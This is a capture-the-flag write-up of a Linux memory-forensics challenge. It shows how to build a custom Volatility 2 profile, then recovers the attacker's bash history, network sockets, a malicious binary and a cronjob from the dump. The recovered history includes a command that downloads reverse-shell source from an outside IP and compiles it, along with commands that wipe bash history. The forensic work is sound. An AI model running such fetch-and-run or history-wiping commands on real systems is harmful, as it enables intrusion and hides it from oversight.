Profiles
No profile? No problem. - by hadrian3689
The following post by 0xb0b is licensed under CC BY 4.0
The task provides us with the following information and a zip containing the memory dump of a Linux server:
The incident response team has alerted you that there was some suspicious activity on one of the Linux database servers.
A memory dump of the server was taken and provided to you for analysis. You advise the team that you are missing crucial information from the server, but it has already been taken offline. They just made your job a little harder, but not impossible.
Click on the Download Task Files button at the top of this task. You will be provided with an evidence.zip file.
Extract the zip file's contents and begin your analysis in order to answer the questions.
Note: The challenge is best done using your own environment. I recommend using Volatility 2.6.1 to handle this task and strongly advise using this article by Sean Whalen to aid you with the Volatility installation.
Volatility 3 was already installed on one of my instances, with which I initially solved the tasks, but was not able to do so fully, because, as far as I know, this extraction of files is not yet supported in Volatility 3.
When analyzing the dump with imageinfo
for the first time, there were no results at first. By issuing the command vol.py --info
, I notice that I do not have any profiles for Linux. And that's the entire point of the challenge—getting a profile on your own.
Creating A Profile
We need a profile to analyze a memory dump because it contains essential debugging symbols and system-specific information that guide Volatility 2 in correctly interpreting the unique structures and data within that specific operating system’s memory. Without the right profile, the tool cannot accurately map and decode the raw binary data from the memory dump, leading to potential misanalysis or incomplete forensic results.
Without needing a profile, we can run banners
with Volatility Version 2 or 3, to get the necessary information: the Linux kernel in use and the operating system. This is necessary since we need a System running on those specific aspects to build the profile.
We are dealing with Ubuntu 20.04.2
running on the 5.4.0-166-generic kernel
.
python3 vol.py -f ../linux.mem banners
Volatility 3 Framework 2.7.0
Progress: 100.00 PDB scanning finished
Offset Banner
0x2f9c4c88 Linux version 5.4.0-166-generic (buildd@lcy02-amd64-011) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 (Ubuntu 5.4.0-166.183-generic 5.4.252)
0xa707c8c8 Linux version 5.4.0-166-generic (buildd@lcy02-amd64-011) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 (Ubuntu 5.4.0-166.183-generic 5.4.252)
0xd46001a0 Linux version 5.4.0-166-generic (buildd@lcy02-amd64-011) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 (Ubuntu 5.4.0-166.183-generic 5.4.252)
0xd619de54 Linux version 5.4.0-166-generic (buildd@lcy02-amd64-011) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 (Ubuntu 5.4.0-166.183-generic 5.4.252)
0x106d64c88 Linux version 5.4.0-166-generic (buildd@lcy02-amd64-011) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 (Ubuntu 5.4.0-166.183-generic 5.4.252)
Let's download an ISO of Ubuntu 20.04 and set up a VM.
After having the VM setup, we see we have the wrong kernel installed. No problem.
But first, let's set up Volatility 2 on that VM, since we want to have a fresh installation of Volatility 2 that won't mess up our dependencies on our Workstation. Furthermore, Volatility 2 is required on the VM anyway to create the profile.
$ uname -r
5.15.0-105-generic
Volatility 2
The following section describes the installation of Volatility 2 by Sean Whalen.
Installing Volatility 2
We stay on our new setup vm and install Volatility 2
Install system dependencies
sudo apt install -y build-essential git libdistorm3-dev yara libraw1394-11 libcapstone-dev capstone-tool tzdata
Install pip for Python 2
sudo apt install -y python2 python2.7-dev libpython2-dev
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
sudo python2 get-pip.py
sudo python2 -m pip install -U setuptools wheel
Install Volatility 2 and its Python dependencies
To install system-wide for all users, use the sudo
command in front of the python2
commands.
python2 -m pip install -U distorm3 yara pycrypto pillow openpyxl ujson pytz ipython capstone
sudo python2 -m pip install yara
sudo ln -s /usr/local/lib/python2.7/dist-packages/usr/lib/libyara.so /usr/lib/libyara.so
python2 -m pip install -U git+https://github.com/volatilityfoundation/volatility.git
After having Volatilty2 installed, we also clone the repository, to make our changes and add our custom profile here.
git clone https://github.com/volatilityfoundation/volatility.git
Create the Module
We need to build a kernel module that Volatility will use to extract the necessary symbols. This requires us to have the correct Linux headers for the Linux kernel 5.4.0-166-generic
. We install it with the other requirements, like dwarfdump
. The Makefile to craft such a module can be found inside Volatility's Linux tools directory.
sudo apt-get install dwarfdump build-essential linux-headers-5.4.0-166-generic git
cd volatility/tools/linux
Next, we just edit the Makefile in volatility/tools/linux
which builds that said module. The original one will build it for the current running kernel, but we want to avoid the hassle of downgrading the kernel and just hard-code the path to /lib/modules/5.4.0-166-generic/build
.
~/volatility/tools/linux$ cat Makefile
obj-m += module.o
KDIR ?= /
KVER ?= $(shell uname -r)
-include version.mk
all: dwarf
dwarf: module.c
$(MAKE) -C $(KDIR)/lib/modules/5.4.0-166-generic/build CONFIG_DEBUG_INFO=y M="$(PWD)" modules
dwarfdump -di module.ko > module.dwarf
$(MAKE) -C $(KDIR)/lib/modules/5.4.0-166-generic/build M="$(PWD)" clean
clean:
$(MAKE) -C $(KDIR)/lib/modules/5.4.0-166-generic/build M="$(PWD)" clean
rm -f module.dwarf
Now we can run make
.
~/volatility/tools/linux$ make
And we have our first part for our Volatility 2 profile, the module.dwarf file.
~/volatility/tools/linux$ ls
Makefile Makefile.enterprise module.dwarf
kcore Makefile.bak module.c
Next, we actually have to install the kernel, but it is not required to have it running. We need the System.map
file that corresponds to the kernel. This file contains all the symbols and their addresses in the kernel, and it's used alongside the DWARF information. Typically, this file can be found in /boot
:
sudo apt update; sudo apt install linux-image-5.4.0-166-generic
After installing the kernel, we can copy /boot/System.map-5.4.0-166-generic
to our current directory. Next, we zip the System.map
file and the compiled module.dwarf
and place the zip archive at volatility/plugins/overlays/linux/
.
~/volatility/tools/linux# cp /boot/System.map-5.4.0-166-generic .
~/volatility/tools/linux# ls
kcore Makefile.bak module.c System.map-5.4.0-166-generic
Makefile Makefile.enterprise module.dwarf
~/volatility/tools/linux# zip 5.4.0.zip module.dwarf System.map-5.4.0-166-generic
adding: module.dwarf (deflated 91%)
adding: System.map-5.4.0-166-generic (deflated 79%)
~/volatility/tools/linux# cp 5.4.0.zip ../../volatility/plugins/overlays/linux/
After running --info
, we find our profile. We successfully installed our custom profile.
~/volatility$ python2 vol.py --info | grep Linux
Volatility Foundation Volatility Framework 2.6.1
Linux5_4_0x64 - A Profile for Linux 5.4.0 x64
LinuxAMD64PagedMemory - Linux-specific AMD 64-bit address space.
linux_aslr_shift - Automatically detect the Linux ASLR shift
linux_banner - Prints the Linux banner information
linux_yarascan - A shell in the Linux memory image
Volatility 3
The profile creation of Volatily 3 is a bit different, our target VM ist still required but a bit more approachable with the tool dwarf2json
. To solve this Challenge Volatilty 2 is required; if a solution with Volatilty 3 is possible, it can also be found here as an alternative command.
The following resource gives a detailed description of how to create a profile for Volatility 3:
Resources
A comprehensive guide on how to use Volatility to analyze a Linux memory dump can be found here:
What is the exposed root password?
The first question is about an exposed root password. There are several places you could look, such as environment variables, files with passwords or the bash history. We find what we are looking for in the bash history, which we can restore using linux_bash
.
linux_bash - Recover bash history from bash process memory
In addition to the root password, we can also directly answer the second question of when the users.db
was accessed.
But there is more to discover. Furthermore, a reverse shell in c was possibly obtained from the source IP 10.0.2.72
, which was subsequently compiled to pkexecc
. This will be useful in answering further questions.
~/volatility$ python2 vol.py -f ../linux.mem --profile=Linux5_4_0x64 linux_bash
Volatility Foundation Volatility Framework 2.6.1
Pid Name Command Time Command
-------- -------------------- ------------------------------ -------
1076 bash [REDACTED] UTC+0000 su root[REDACTED]
1076 bash [REDACTED] UTC+0000 sqlite3 users.db
1076 bash [REDACTED] UTC+0000 @????U
1076 bash 2023-11-07 03:49:45 UTC+0000 su root
1076 bash 2023-11-07 03:50:11 UTC+0000 wget 10.0.2.72/shell.c && gcc shell.c -o pkexecc && rm shell.c
1076 bash 2023-11-07 03:50:17 UTC+0000 ./pkexecc
1197 bash 2023-11-07 03:51:49 UTC+0000 apt-get update --fix-missing
1197 bash 2023-11-07 03:51:49 UTC+0000 apt-get update --fix-missing
1197 bash 2023-11-07 03:51:49 UTC+0000 apt-get update --fix-missing
1197 bash 2023-11-07 03:51:49 UTC+0000 ls
1197 bash 2023-11-07 03:51:49 UTC+0000 apt-get install build-essential linux-headers-`uname -r` git python dwarfdump zip -y
1197 bash 2023-11-07 03:51:49 UTC+0000 passwd paco
1197 bash 2023-11-07 03:51:49 UTC+0000 cat /dev/null > /home/paco/.bash_history
1197 bash 2023-11-07 03:51:49 UTC+0000 passwd root
1197 bash 2023-11-07 03:51:49 UTC+0000 exit
1197 bash 2023-11-07 03:51:49 UTC+0000 rm shell.c
1197 bash 2023-11-07 03:51:49 UTC+0000 ls
1197 bash 2023-11-07 03:51:49 UTC+0000 systemctl restart sshd
1197 bash 2023-11-07 03:51:49 UTC+0000 ls
1197 bash 2023-11-07 03:51:49 UTC+0000 which gcc
1197 bash 2023-11-07 03:51:49 UTC+0000 apt-get --fix-missing
1197 bash 2023-11-07 03:51:49 UTC+0000 reboot
1197 bash 2023-11-07 03:51:49 UTC+0000 ???2?
1197 bash 2023-11-07 03:51:49 UTC+0000 clear
1197 bash 2023-11-07 03:51:49 UTC+0000 vi /root/.bashrc
1197 bash 2023-11-07 03:51:49 UTC+0000 apt-get install sqlite3 python3-pip -y
1197 bash 2023-11-07 03:51:49 UTC+0000 cat /dev/null > /home/paco/.bash_history
1197 bash 2023-11-07 03:51:49 UTC+0000 groups paco
1197 bash 2023-11-07 03:51:49 UTC+0000 apt-get update -y && apt-get upgrade -y
1197 bash 2023-11-07 03:51:49 UTC+0000 exit
1197 bash 2023-11-07 03:51:49 UTC+0000 wget 10.0.2.72/shell.c
1197 bash 2023-11-07 03:51:49 UTC+0000 gcc shell.c -o pkexecc
1197 bash 2023-11-07 03:51:49 UTC+0000 apt-get install build-essential linux-headers-`uname -r` git python dwarfdump zip -y
1197 bash 2023-11-07 03:51:49 UTC+0000 cat /dev/null > .bash_history
1197 bash 2023-11-07 03:51:49 UTC+0000 snap remove lxd
1197 bash 2023-11-07 03:51:49 UTC+0000 cat /dev/null > /home/paco/.bash_history
1197 bash 2023-11-07 03:51:49 UTC+0000 gpasswd -d paco lxd
1197 bash 2023-11-07 03:51:49 UTC+0000 systemctl restart ssh
1197 bash 2023-11-07 03:51:49 UTC+0000 vi /etc/ssh/sshd_config
1197 bash 2023-11-07 03:51:49 UTC+0000 exit
1197 bash 2023-11-07 03:52:07 UTC+0000 git clone https://github.com/504ensicsLabs/LiME && cd LiME/src/
1197 bash 2023-11-07 03:52:12 UTC+0000 make
1197 bash 2023-11-07 03:52:21 UTC+0000 ls
1197 bash 2023-11-07 03:52:37 UTC+0000 insmod lime-5.4.0-166-generic.ko "path=/home/paco/linux.mem format=lime"
The Volatility 3 command looks as follows to retrieve the bash history:
python3 vol.py -f ../linux.mem linux.bash
Unlike Volatility 2, the profile does not have to be specified, but is loaded automatically.
And what time was the users.db file approximately accessed? Format is YYYY-MM-DD HH:MM:SS
We find what we are looking for in the bash history, which we can restore using linux_bash
.
linux_bash - Recover bash history from bash process memory
~/volatility$ python2 vol.py -f ../linux.mem --profile=Linux5_4_0x64 linux_bash
Volatility Foundation Volatility Framework 2.6.1
Pid Name Command Time Command
-------- -------------------- ------------------------------ -------
1076 bash [REDACTED] UTC+0000 su root[REDACTED]
1076 bash [REDACTED] UTC+0000 sqlite3 users.db
1076 bash [REDACTED] UTC+0000 @????U
1076 bash 2023-11-07 03:49:45 UTC+0000 su root
1076 bash 2023-11-07 03:50:11 UTC+0000 wget 10.0.2.72/shell.c && gcc shell.c -o pkexecc && rm shell.c
1076 bash 2023-11-07 03:50:17 UTC+0000 ./pkexecc
1197 bash 2023-11-07 03:51:49 UTC+0000 apt-get update --fix-missing
1197 bash 2023-11-07 03:51:49 UTC+0000 apt-get update --fix-missing
1197 bash 2023-11-07 03:51:49 UTC+0000 apt-get update --fix-missing
1197 bash 2023-11-07 03:51:49 UTC+0000 ls
1197 bash 2023-11-07 03:51:49 UTC+0000 apt-get install build-essential linux-headers-`uname -r` git python dwarfdump zip -y
1197 bash 2023-11-07 03:51:49 UTC+0000 passwd paco
1197 bash 2023-11-07 03:51:49 UTC+0000 cat /dev/null > /home/paco/.bash_history
1197 bash 2023-11-07 03:51:49 UTC+0000 passwd root
1197 bash 2023-11-07 03:51:49 UTC+0000 exit
1197 bash 2023-11-07 03:51:49 UTC+0000 rm shell.c
1197 bash 2023-11-07 03:51:49 UTC+0000 ls
1197 bash 2023-11-07 03:51:49 UTC+0000 systemctl restart sshd
1197 bash 2023-11-07 03:51:49 UTC+0000 ls
1197 bash 2023-11-07 03:51:49 UTC+0000 which gcc
1197 bash 2023-11-07 03:51:49 UTC+0000 apt-get --fix-missing
1197 bash 2023-11-07 03:51:49 UTC+0000 reboot
1197 bash 2023-11-07 03:51:49 UTC+0000 ???2?
1197 bash 2023-11-07 03:51:49 UTC+0000 clear
1197 bash 2023-11-07 03:51:49 UTC+0000 vi /root/.bashrc
1197 bash 2023-11-07 03:51:49 UTC+0000 apt-get install sqlite3 python3-pip -y
1197 bash 2023-11-07 03:51:49 UTC+0000 cat /dev/null > /home/paco/.bash_history
1197 bash 2023-11-07 03:51:49 UTC+0000 groups paco
1197 bash 2023-11-07 03:51:49 UTC+0000 apt-get update -y && apt-get upgrade -y
1197 bash 2023-11-07 03:51:49 UTC+0000 exit
1197 bash 2023-11-07 03:51:49 UTC+0000 wget 10.0.2.72/shell.c
1197 bash 2023-11-07 03:51:49 UTC+0000 gcc shell.c -o pkexecc
1197 bash 2023-11-07 03:51:49 UTC+0000 apt-get install build-essential linux-headers-`uname -r` git python dwarfdump zip -y
1197 bash 2023-11-07 03:51:49 UTC+0000 cat /dev/null > .bash_history
1197 bash 2023-11-07 03:51:49 UTC+0000 snap remove lxd
1197 bash 2023-11-07 03:51:49 UTC+0000 cat /dev/null > /home/paco/.bash_history
1197 bash 2023-11-07 03:51:49 UTC+0000 gpasswd -d paco lxd
1197 bash 2023-11-07 03:51:49 UTC+0000 systemctl restart ssh
1197 bash 2023-11-07 03:51:49 UTC+0000 vi /etc/ssh/sshd_config
1197 bash 2023-11-07 03:51:49 UTC+0000 exit
1197 bash 2023-11-07 03:52:07 UTC+0000 git clone https://github.com/504ensicsLabs/LiME && cd LiME/src/
1197 bash 2023-11-07 03:52:12 UTC+0000 make
1197 bash 2023-11-07 03:52:21 UTC+0000 ls
1197 bash 2023-11-07 03:52:37 UTC+0000 insmod lime-5.4.0-166-generic.ko "path=/home/paco/linux.mem format=lime"
What is the MD5 hash of the malicious file found?
The next question asks for a suspicious file, which will probably be the pkexecc
. We need to determine the MD5 hash for this file; this requires that we extract the file. This is probably only possible using Volatility 2. If it does work with Volatilty 3, please let me know.
To be able to extract the file, we first need to know exactly where it is located. We can find this out using linux_enumerate_file
s and look at all entries using the grep filter with the name pkexecc
. We find the file pkexecc
located in /home/paco/
.
linux_enumerate_files - Lists files referenced by the filesystem cache
~/volatility$ python2 vol.py -f ../linux.mem --profile=Linux5_4_0x64 linux_enumerate_files | grep pkexecc
Volatility Foundation Volatility Framework 2.6.1
0xffff8903b2364120 655377 /home/paco/pkexecc
The entry also contains the offset where this can be found exactly. We now need this to recover the file using linux_find_file
. After we have restored the file, we determine the MD5 hash using md5sum
.
linux_find_file - Lists and recovers files from memory
~/volatility$ python2 vol.py -f ../linux.mem --profile=Linux5_4_0x64 linux_find_file -i 0xffff8903b2364120 -O pkexecc
Volatility Foundation Volatility Framework 2.6.1
~/volatility$ md5sum pkexecc
0511[REDACTED] pkexec
What is the IP address and port of the malicious actor? Format is IP:Port
We already got a hint about the IP of the malicious actor from the bash history: 10.0.2.72
. The malicious file has already been confirmed by answering the previous questions. With linux_netstat
we can view all open connections. We filter the output directly based on the IP we already know and find what we are looking for.
linux_netstat - Lists open sockets
~/volatility$ python2 vol.py -f ../linux.mem --profile=Linux5_4_0x64 linux_netstat | grep 10.0.2.72
Volatility Foundation Volatility Framework 2.6.1
TCP 10.0.2.73 : 22 10.0.2.72 :53888 ESTABLISHED sshd/1002
TCP 10.0.2.73 : 22 10.0.2.72 :53888 ESTABLISHED sshd/1075
TCP 10.0.2.73 :41012 10.0.2.72 : [REDACTED] ESTABLISHED sh/1093
TCP 10.0.2.73 :41012 10.0.2.72 : [REDACTED] ESTABLISHED sh/1093
TCP 10.0.2.73 :41012 10.0.2.72 : [REDACTED] ESTABLISHED sh/1093
TCP 10.0.2.73 :41012 10.0.2.72 : [REDACTED] ESTABLISHED sh/1093
TCP 10.0.2.73 :41012 10.0.2.72 : [REDACTED] ESTABLISHED su/1095
TCP 10.0.2.73 :41012 10.0.2.72 : [REDACTED] ESTABLISHED su/1095
TCP 10.0.2.73 :41012 10.0.2.72 : [REDACTED] ESTABLISHED su/1095
TCP 10.0.2.73 :41012 10.0.2.72 : [REDACTED] ESTABLISHED su/1095
TCP 10.0.2.73 :41012 10.0.2.72 : [REDACTED] ESTABLISHED bash/1097
TCP 10.0.2.73 :41012 10.0.2.72 : [REDACTED] ESTABLISHED bash/1097
TCP 10.0.2.73 :41012 10.0.2.72 : [REDACTED] ESTABLISHED bash/1097
TCP 10.0.2.73 :41012 10.0.2.72 : [REDACTED] ESTABLISHED bash/1097
TCP 10.0.2.73 : 22 10.0.2.72 :57690 ESTABLISHED sshd/1099
The Volatility 3 command looks as follows:
python3 vol.py -f ../linux.mem linux.sockstat.Sockstat
What is the full path of the cronjob file and its inode number? Format is filename:inode number
That was a bit tricky, with linux_enumerate_files
we can localize the cronjob, just like with the file pkexecc, but we also have to know its inode number, unfortunatley the one listed here is not the correct one.
~/volatility$ python2 vol.py -f ../linux.mem --profile=Linux5_4_0x64 linux_enumerate_files | grep crontab
Volatility Foundation Volatility Framework 2.6.1
0xffff890499fa1650 131184 /var/spool/cron/crontabs
0xffff8903b23667a8 131127 /var/spool/cron/crontabs/[REDACTED]
0xffff890499fa4120 524970 /etc/crontab
But we can list all file descriptors and their paths, which also displays the inode number. One path stands out here very often, the one with the anon_inode
, which is referring to the cronjob.
linux_lsof - Lists file descriptors and their path
~/volatility$ python2 vol.py -f ../linux.mem --profile=Linux5_4_0x64 linux_lsof
Volatility Foundation Volatility Framework 2.6.1
Offset Name Pid FD Path
------------------ ------------------------------ -------- -------- ----
0xffff89049b1b8000 systemd 1 0 /dev/null
0xffff89049b1b8000 systemd 1 1 /dev/null
0xffff89049b1b8000 systemd 1 2 /dev/null
0xffff89049b1b8000 systemd 1 3 /dev/kmsg
0xffff89049b1b8000 systemd 1 4 anon_inode:[REDACTED]
0xffff89049b1b8000 systemd 1 5 anon_inode:[REDACTED]
0xffff89049b1b8000 systemd 1 6 anon_inode:[REDACTED]
0xffff89049b1b8000 systemd 1 7 /sys/fs/cgroup/unified
0xffff89049b1b8000 systemd 1 8 anon_inode:[REDACTED]
0xffff89049b1b8000 systemd 1 9 anon_inode:[REDACTED]
0xffff89049b1b8000 systemd 1 10 /proc/1/mountinfo
0xffff89049b1b8000 systemd 1 11 anon_inode:[REDACTED]
0xffff89049b1b8000 systemd 1 13 anon_inode:[REDACTED]
The Volatility 3 command looks as follows:
python3 vol.py -f ../linux.mem linux.lsof.Lsof
What command is found inside the cronjob file?
As with the pkexecc
file, we recover the cronjob using linux_find_file
. And we can then take a look at the content.
linux_find_file - Lists and recovers files from memory
~/volatility$ python2 vol.py -f ../linux.mem --profile=Linux5_4_0x64 linux_find_file -i 0xffff8903b23667a8 -O crontab
Volatility Foundation Volatility Framework 2.6.1
~/volatility$ cat crontab
* * * * * cp [REDACTED] [REDACTED]
This question could be answered without using Volatility at all. By strings linux.mem | grep crontab
.
This was the first approach when trying to solve this challenge using only Volatility 3.
Last updated
Was this helpful?